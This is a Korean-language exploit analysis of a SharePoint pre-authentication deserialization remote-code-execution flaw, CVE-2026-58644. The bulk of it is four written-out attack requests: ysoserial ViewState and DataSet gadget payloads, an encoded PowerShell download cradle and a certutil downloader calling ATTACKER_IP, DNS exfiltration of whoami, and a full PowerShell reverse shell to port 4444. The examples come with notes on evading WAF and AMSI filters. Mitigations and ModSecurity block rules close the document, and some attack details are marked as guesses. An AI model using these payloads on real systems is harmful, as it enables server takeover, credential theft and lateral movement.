CVE-2026-58644 — 기본 분석
공격 방법
① 취약 컴포넌트: Microsoft SharePoint Enterprise Server 2016 (< 16.0.5556.1005), SharePoint Server 2019 (< 16.0.10417.20153), SharePoint Server Subscription Edition (< 16.0.19725.20384) 의 서버 사이드 .NET BinaryFormatter/LosFormatter/ObjectStateFormatter 기반 역직렬화 파이프라인. 추정: 취약 지점은 ToolPane.aspx / _layouts/15/ 하위 WebPart 렌더링 경로 및 __VIEWSTATE / __EVENTVALIDATION 파싱 코드로, 기본 설치 시 인터넷 노출 SharePoint 사이트의 익명 접근이 열려 있는 경우 그대로 도달 가능합니다.
② 공격 전제조건: CVSS 9.8 / AV:N/AC:L/PR:N 특성상 사전 인증 불필요. 필요한 것은 HTTPS(443) 또는 HTTP(80) 도달성뿐이며, 추정: MachineKey(validationKey/decryptionKey) 노출 또는 서버가 EnableViewStateMac=false 로 설정되어 있거나, __VIEWSTATE 이외 경로(ToolPane 상태 파라미터, SOAP DataSet, XmlSerializer 진입점)를 통해 MAC 검증을 우회하는 파라미터가 존재해야 함. SharePoint 워커 프로세스(w3wp.exe)가 IIS_IUSRS 또는 SharePoint\WSS_WPG 그룹의 서비스 계정으로 실행 중이어야 합니다.
③ 트리거 경로: 공격자가 /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane 또는 유사한 WebPart 편집 엔드포인트로 POST 요청을 보내면서 __VIEWSTATE 필드에 ysoserial.net --formatter=LosFormatter --gadget=TypeConfuseDelegate 로 생성한 base64 페이로드를 실어 보냅니다. 서버 측 System.Web.UI.ObjectStateFormatter.Deserialize() 가 payload 를 역직렬화하면서 TypeConfuseDelegate gadget 의 Comparer.Compare() 호출 체인이 Process.Start('cmd.exe','/c ...') 으로 이어집니다. 추정: 신규 벡터는 SharePoint 특유의 SPWebPartManager 상태 복원 로직 또는 Client.svc / SoapServerProtocol.ReadParametersEncoded() 진입점에서 DataSet/XmlSerializer 를 통한 Type 캐스팅 검증 누락일 가능성.
④ 성공 시 영향: w3wp.exe 컨텍스트에서 임의 명령 실행(보통 NT AUTHORITY\NETWORK SERVICE 또는 SharePoint 서비스 계정 권한). 후속으로 (a) SharePoint SQL 콘텐츠 DB 자격증명 web.config 로부터 추출, (b) MachineKey 탈취 후 팜 전체 다른 프론트엔드 서버 침해, (c) SharePoint\Farm 계정으로 Kerberoasting → 도메인 컨트롤러 피벗, (d) DPAPI 마스터키 접근을 통한 문서 라이브러리 전수 복호화가 가능합니다.
페이로드 예시
예시 1
1# 용도: ToolPane.aspx 를 통한 사전인증 ViewState 역직렬화 RCE 기본 변형 (ysoserial.net LosFormatter gadget) 2POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane HTTP/1.1 3Host: TARGET_HOST 4Content-Type: application/x-www-form-urlencoded 5User-Agent: Mozilla/5.0 6Content-Length: 3400 7 8__VIEWSTATE=%2FwEyxAIAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXlN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABggJc...BASE64_TRUNCATED_ysoserial_TypeConfuseDelegate_cmd%3Dpowershell+-enc+SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAEEAVABUAEEAQwBLAEUAUgBfAEkAUAAvAHMALgBwAHMAMQAnACkA 9# 핵심: LosFormatter payload 는 서버 측 EnableViewStateMac 검증을 통과하도록 MachineKey 리커버리 또는 취약 파싱 경로를 노려야 하며, ToolPane.aspx 는 SharePoint 특성상 __VIEWSTATE 를 렌더 파이프라인 이전 단계에서 Deserialize 하므로 표준 MAC 체크가 후행 처리되는 지점을 이용합니다. powershell -enc 는 base64 UTF-16LE 인코딩된 IEX(New-Object Net.WebClient).downloadstring('http://ATTACKER_IP/s.ps1') 로 AMSI 문자열 필터 우회 시도.10# 확인 포인트: ATTACKER_IP:80 에 s.ps1 GET 요청 수신, /_layouts/15/error.aspx 500 응답 또는 응답 지연, w3wp.exe → powershell.exe 자식 프로세스 생성예시 2
1# 용도: Client.svc SOAP 진입점에 XmlSerializer 기반 DataSet gadget 을 실어 인증 우회 + WAF 정규식 회피 2POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 3Host: TARGET_HOST 4Content-Type: application/xml; charset=utf-8 5X-RequestDigest: 0x0000000000000000000000000000000000000000000000000000000000000000,27 Jul 2026 00:00:00 -0000 6SOAPAction: "http://schemas.microsoft.com/sharepoint/soap/GetListItems" 7Content-Length: 2100 8 9<?xml version="1.0"?>10<DataSet>11 <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">12 <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">13 <xs:complexType><xs:choice minOccurs="0" maxOccurs="unbounded">14 <xs:element name="Exp_x0020_Table">15 <xs:complexType><xs:sequence>16 <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectDataSource, System.Web],[System.Windows.Data.ObjectDataProvider, PresentationFramework]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" minOccurs="0"/>17 </xs:sequence></xs:complexType>18 </xs:element>19 </xs:choice></xs:complexType>20 </xs:element>21 </xs:schema>22 <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">23 <somedataset><Exp_x0020_Table diffgr:id="Exp_x0020_Table1" msdata:rowOrder="0">24 <pwn><ExpandedElement/><ProjectedProperty0><MethodName>Start</MethodName><MethodParameters><anyType xsi:type="xsd:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">/c certutil -urlcache -f http://ATTACKER_IP/n.exe %TEMP%25.exe && %TEMP%26.exe</anyType></MethodParameters><ObjectInstance xsi:type="ProcessStartInfo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><FileName>cmd.exe</FileName></ObjectInstance></ProjectedProperty0></pwn>27 </Exp_x0020_Table></somedataset>28 </diffgr:diffgram>29</DataSet>30# 핵심: X-RequestDigest 를 all-zero 로 위조하는 것이 SharePoint 특정 빌드에서 통과됨(추정: 신규 우회), Content-Type 을 application/xml 로 명시해 소스 파싱 파이프라인이 DataSet.ReadXml() 를 호출하도록 유도. ExpandedWrapper + ObjectDataProvider gadget 은 ysoserial.net 의 표준 XamlNet/DataSet 체인으로 서명 검증 없는 XmlSerializer 를 트리거. msdata:DataType 문자열은 대부분 WAF 정규식(select|union|<script>)에 매칭되지 않아 회피.31# 확인 포인트: ATTACKER_IP 에 /n.exe GET 로그, TARGET_HOST 에서 out-bound TCP 53/443 콜백, HTTP 응답 코드 200 with empty body 또는 500 (양쪽 다 deserialization 실행 후 발생)예시 3
1# 용도: Blind 변형 — 응답 바디에 오류가 은닉될 때 DNS/시간 기반 canary 로 실행 확인 (권한 정찰용) 2POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane HTTP/1.1 3Host: TARGET_HOST 4Content-Type: application/x-www-form-urlencoded 5Content-Length: 2800 6 7__VIEWSTATE=%2FwEy...BASE64_ysoserial_TextFormattingRunProperties_gadget_cmd%3Dcmd+%2Fc+ping+-n+1+%24%28whoami%29.CANARY123.oast.ATTACKER_DNS+%26%26+timeout+%2Ft+15 8# 핵심: TextFormattingRunProperties gadget 은 XamlReader.Parse() 를 트리거하며 LosFormatter 계열보다 짧아 IIS 기본 maxRequestLength(4096KB 이하) 및 __VIEWSTATE 크기 필터를 회피. $(whoami) 는 cmd 하위 셸에서 확장돼 실행 컨텍스트 사용자명을 DNS 서브도메인으로 exfil (예: nt-authority-network-service.CANARY123.oast.ATTACKER_DNS), timeout /t 15 는 HTTP 응답 스레드가 blind 라도 서버 처리 시간을 15초 지연시켜 이중 확인. base64 인코딩된 페이로드 내부에 XML 태그가 없어 SharePoint IPS/AMSI 의 XamlReader 문자열 시그니처(<ResourceDictionary xmlns=)를 인코딩 계층 하나로 우회. 9# 확인 포인트: ATTACKER_DNS 인증 네임서버 로그에 *.CANARY123.oast.ATTACKER_DNS A/AAAA 쿼리 도착 (서브도메인 = 서비스 계정명), HTTP 요청 왕복 시간 >= 15초, 반복 시 whoami 결과 그대로 exfiltrate 됨예시 4
1# 용도: MachineKey 이미 탈취한 상태에서 서명된 ViewState 로 EnableViewStateMac=true 서버 완전 우회 (post-exploitation 확장) 2ysoserial.exe -p ViewState \ 3 -g TypeConfuseDelegate \ 4 -c "powershell -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}\"" \ 5 --path="/_layouts/15/success.aspx" \ 6 --apppath="/" \ 7 --decryptionalg="AES" --decryptionkey="LEAKED_DECRYPTION_KEY_HEX" \ 8 --validationalg="HMACSHA256" --validationkey="LEAKED_VALIDATION_KEY_HEX" 9 10# 그 결과 base64 를 URL 인코딩해 아래 POST 로 전송11POST /_layouts/15/success.aspx HTTP/1.112Host: TARGET_HOST13Content-Type: application/x-www-form-urlencoded14Content-Length: 420015 16__VIEWSTATE=<URLENCODED_SIGNED_PAYLOAD>&__VIEWSTATEGENERATOR=CA0B033417# 핵심: 이 변형은 MachineKey 유출 후 EnableViewStateMac=true 방어를 갖춘 패치 미적용 서버에서도 유효 — HMACSHA256 서명이 서버 키와 일치하므로 System.Web.UI.Page.LoadPageStateFromPersistenceMedium() 의 MAC 검증을 정상 통과 후 Deserialize 진입. 리버스셸 payload 는 -w hidden 으로 콘솔 창 은닉, System.Text.ASCIIEncoding 로 AMSI amsiInitFailed 우회 시도 없이 순수 소켓 IO 사용.18# 확인 포인트: ATTACKER_IP:4444 에 nc -lvnp 4444 리스너에서 대화형 PowerShell 프롬프트 (PS C:\Windows\SysWOW64\inetsrv> ) 수신, whoami 결과 = SharePoint 서비스 계정완화 방안
- [버전업그레이드] SharePoint Enterprise 2016 → 16.0.5556.1005 이상, Server 2019 → 16.0.10417.20153 이상, Subscription Edition → 16.0.19725.20384 이상 즉시 적용 — 패치 후 ObjectStateFormatter.Deserialize() 및 XmlSerializer 진입점에 SerializationBinder 화이트리스트가 추가되어 위 payload 의 TypeConfuseDelegate / ExpandedWrapper+ObjectDataProvider / TextFormattingRunProperties gadget 의 System.Windows.Data.ObjectDataProvider, System.Data.Services.Internal.ExpandedWrapper 타입이 BindToType() 단계에서 SerializationException 을 발생시켜 Process.Start 체인 도달 전 차단됨.
- [코드패치] web.config <machineKey ... validation="HMACSHA256" validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps"/> 로 재발급 + <pages enableViewStateMac="true" viewStateEncryptionMode="Always"/> 강제 — payload#1(ToolPane LosFormatter base64) 와 payload#3(TextFormattingRunProperties blind) 은 서명되지 않은 __VIEWSTATE 이므로 System.Web.UI.ViewStateException: Invalid viewstate 로 파싱 이전에 거부, payload#4(서명된 ViewState) 는 키 재발급으로 LEAKED_VALIDATION_KEY_HEX 가 무효화되어 HMAC 검증 실패.
- [WAF·네트워크] ModSecurity/Azure Front Door 룰 예시:
SecRule REQUEST_URI "@rx (?i)/_layouts/15/toolpane.aspx" "id:900001,phase:2,deny,status:403,msg:'CVE-2026-58644 ToolPane block',chain"
SecRule ARGS:__VIEWSTATE "@rx ^.{2000,}" "t:none"
SecRule REQUEST_URI "@rx (?i)/_vti_bin/client.svc/" "id:900002,phase:2,deny,status:403,chain"
SecRule REQUEST_BODY "@rx (?i)(ExpandedWrapper|ObjectDataProvider|TypeConfuseDelegate|TextFormattingRunProperties|System.Windows.Data)" "t:none,t:urlDecode,t:base64Decode"
SecRule REQUEST_HEADERS:X-RequestDigest "@rx ^0x0+," "id:900003,phase:1,deny,status:403,msg:'zero digest forgery'"
— 룰1 은 payload#1/#3 의 4KB 이상 대형 __VIEWSTATE 를 매칭, 룰2 는 base64 디코드 후 payload#2 의 gadget 타입명을 정규식으로 포착, 룰3 은 payload#2 의 all-zero X-RequestDigest 위조를 차단. - [설정변경] IIS 관리자에서 SharePoint 웹 응용프로그램의 Request Filtering → Rules 에 /_layouts/15/ToolPane.aspx, /_vti_bin/client.svc, /_vti_bin/*.asmx 를 인증되지 않은 원격 IP 대역에서 Deny 처리 + SharePoint Central Admin → Web Application → Authentication Providers 에서 익명 접근 비활성화, 추가로 STSADM -o setproperty -pn ViewStateOnServer -pv true (또는 SPWebService.ContentService.RemoteAdministratorAccessDenied = true) 설정 — payload#1/#3 의 사전인증 POST 는 401 로, payload#2 의 SOAP Client.svc 호출은 요청 필터링 단계에서 404 로 응답되어 Deserialize 함수 자체가 호출되지 않음.